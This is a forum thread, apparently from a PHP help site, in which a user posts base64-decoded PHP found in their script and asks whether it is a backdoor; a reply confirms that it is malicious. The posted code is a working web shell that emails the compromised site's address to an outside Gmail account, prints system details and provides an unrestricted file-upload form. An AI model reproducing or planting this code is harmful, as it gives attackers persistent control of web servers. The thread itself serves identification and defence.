Jump to content

Is this a backdoor code?


catherinePHP

Recommended Posts

I found this code which was encrypted in base64 in a php script:

$web = $_SERVER["HTTP_HOST"];
 $inj = $_SERVER["REQUEST_URI"];
 $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP: 
";
 mail("bohr4u@gmail.com","Shell http://$web$inj", "$body");
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; }
else { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; }
}
?>

I'm not sure if it's a backdoor or not, can anyone clarify please?

Link to comment
Share on other sites

Yes, it is a malicious script.  It's sending email notifications to them to let them know the script made it onto your site.  And then they are using the form to upload files into your server, which are probably malicious.

 

If it was encrypted with base_64, that should be a huge red flag.

Link to comment
Share on other sites

Yes, it is a malicious script.  It's sending email notifications to them to let them know the script made it onto your site.  And then they are using the form to upload files into your server, which are probably malicious.

 

If it was encrypted with base_64, that should be a huge red flag.

 

Thanks for the quick reply.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.